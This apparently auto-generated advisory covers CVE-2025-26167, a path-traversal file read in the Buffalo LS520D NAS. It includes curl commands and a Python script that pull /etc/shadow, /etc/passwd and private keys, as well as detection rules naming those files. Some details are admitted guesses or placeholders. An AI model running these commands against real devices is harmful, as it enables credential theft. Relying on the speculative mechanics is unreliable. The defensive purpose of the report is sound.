CVE-2025-26167

Executive Summary

CVE-2025-26167 is a critical arbitrary file read vulnerability affecting the Buffalo LS520D NAS device running firmware version 4.53. An unauthenticated attacker can exploit this flaw via the NAS web UI to read any internal file on the device, including sensitive configuration files, credentials, and user data. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is rated High (7.5) due to network exploitability, low complexity, and no authentication requirement. No official patch has been released by Buffalo, leaving all LS520D units on firmware 4.53 exposed. Public proof-of-concept (PoC) code is available, increasing the risk of widespread exploitation.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a hardware NAS device. However, organizations using Buffalo LS520D in their supply chain should treat this as a critical risk, as an attacker could exfiltrate sensitive data or pivot to internal networks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Complete file read.
• Integrity Impact: None (I:N) – No modification possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The combination of remote exploitability, no authentication, and public PoC makes this a prime target for ransomware groups and botnets.

Deep Dive & Mechanics

The Buffalo LS520D NAS web interface, built on a lightweight HTTP server, fails to properly sanitize user-supplied input in file retrieval endpoints. By manipulating path traversal sequences (e.g., ../../../etc/passwd), an unauthenticated attacker can bypass access controls and read arbitrary files from the filesystem.

Root Cause: The web application uses a function like file_get_contents() or readfile() with user-controlled parameters without validating that the requested path is within the web root. The lack of input sanitization allows directory traversal.

Attack Flow:

1. Attacker identifies a Buffalo LS520D on the network (e.g., via Shodan).
2. Sends a crafted HTTP GET request to the NAS web UI, e.g.:

   GET /../../../../etc/shadow HTTP/1.1
   Host: <target_ip>
   

3. The server returns the contents of /etc/shadow (or any other file).
4. Attacker extracts password hashes, configuration files, or SSH keys.

Affected Endpoint: The vulnerability likely exists in the file download or preview functionality of the web UI, such as /cgi-bin/ or /api/ endpoints.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 4.53):

// Example vulnerable PHP code (hypothetical)
$file = $_GET['file'];
$content = file_get_contents('/var/www/' . $file);
echo $content;

Patched Code (Not available):

// Example patched code
$file = basename($_GET['file']);
$allowed_path = '/var/www/uploads/';
$full_path = realpath($allowed_path . $file);
if (strpos($full_path, $allowed_path) === 0) {
    $content = file_get_contents($full_path);
    echo $content;
} else {
    http_response_code(403);
    echo "Access denied.";
}

Key Differences:

• Input Validation: Patched code uses basename() to strip directory traversal sequences.
• Path Canonicalization: realpath() resolves symbolic links and .. sequences.
• Access Control: Checks that the resolved path starts with the allowed directory.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Buffalo LS520D with firmware 4.53 (or any vulnerable version).
• Network access to the NAS web UI (port 80/443).

Exploit Steps:

1. Identify target: nmap -p 80,443 <target_ip>
2. Verify vulnerability:

   curl -v "http://<target_ip>/../../../../etc/passwd"
   

3. Extract sensitive files:

   curl "http://<target_ip>/../../../../etc/shadow" -o shadow.txt
   curl "http://<target_ip>/../../../../etc/ssl/private/ssl-cert-snakeoil.key" -o key.pem
   

4. Automate with a script:

   import requests
   target = "http://192.168.1.100"
   files = ["/etc/passwd", "/etc/shadow", "/etc/hostname", "/proc/1/environ"]
   for f in files:
       r = requests.get(f"{target}/../../../../{f}")
       print(f"=== {f} ===\n{r.text}")
   

Lab Setup:

• Use a virtualized Buffalo LS520D firmware (if available) or a real device in an isolated network.
• Alternatively, simulate with a Docker container running a vulnerable PHP app.

Blue Team (Defensive)

Detection:

• Monitor HTTP requests for path traversal patterns (e.g., ../, %2e%2e/).
• Alert on requests to sensitive files like /etc/shadow, /etc/passwd, /proc/.

Honeypot:

• Deploy a fake endpoint that logs all requests and returns a decoy file.

Mitigation:

• Block outbound traffic from the NAS to unknown IPs.
• Use a WAF to filter path traversal attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests containing ../ or %2e%2e/ in the URI.
• Requests to /etc/shadow, /etc/passwd, /proc/, /var/log/.
• Outbound connections from the NAS to external IPs on ports 21, 22, 80, 443.

File System IOCs:

• Unexpected files in /tmp/ or /var/tmp/ (e.g., shadow.txt).
• Modified timestamps on /etc/shadow or /etc/passwd (if attacker writes back).

Log IOCs:

• Web server logs showing 404 or 200 responses to path traversal URIs.
• System logs (/var/log/messages) showing failed login attempts or unusual process execution.

Detection Engineering

YARA Rule

rule CVE_2025_26167_Buffalo_LS520D_FileRead {
    meta:
        description = "Detects attempts to exploit CVE-2025-26167 via path traversal in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-26167"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $sensitive_file = /etc\/(passwd|shadow|hostname|group)|proc\/self\/environ|var\/log/
    condition:
        any of ($path_traversal) and any of ($sensitive_file)
}

Sigma Rule

title: CVE-2025-26167 Buffalo LS520D Arbitrary File Read
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting Buffalo LS520D NAS
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of '..' in some applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26167 Buffalo LS520D Arbitrary File Read Attempt"; flow:to_server; content:"GET"; http_method; content:"../"; http_uri; content:"/etc/"; http_uri; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Buffalo LS520D behind a firewall with strict access controls. Do not expose the web UI to the internet.
2. Disable web UI: If not required, disable the web interface via the device settings.
3. Apply virtual patching: Use a Web Application Firewall (WAF) to block path traversal patterns (e.g., ../, %2e%2e/).
4. Monitor logs: Enable detailed logging and alert on suspicious HTTP requests.

Long-term Fix:

• Vendor patch: Await an official firmware update from Buffalo. Contact Buffalo support to request a timeline.
• Firmware hardening: If possible, replace the vulnerable web server with a hardened alternative (e.g., nginx with strict path validation).
• Network segmentation: Place all NAS devices in a separate VLAN with limited outbound access.

Workaround:

• Use SSH/SFTP instead of the web UI for file access.
• Implement a reverse proxy (e.g., Nginx) that validates paths before forwarding to the NAS.

Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division.